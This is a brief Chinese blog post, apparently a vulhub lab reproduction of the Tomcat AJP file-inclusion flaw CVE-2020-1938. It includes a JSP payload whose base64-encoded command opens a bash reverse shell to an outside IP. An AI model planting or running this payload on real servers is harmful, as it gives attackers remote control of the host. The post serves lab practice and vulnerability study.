vulhub中Aapache Tomcat AJP 文件包含漏洞复现（CVE-2020-1938）

作者：笔触狂放9 | 2024-03-07 01:54:01

踩

查看tomcat默认页面，此时通过AJP协议的8009端口亦可访问Tomcat。

利用如下工具均可测试漏洞：

工具需要用到python2，

如果需要进一步利用需要向服务器的/webapps/ROOT目录下上传恶意文件

<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS40My80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}");%>

进行执行上传的恶意文件

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/笔触狂放9/article/detail/202869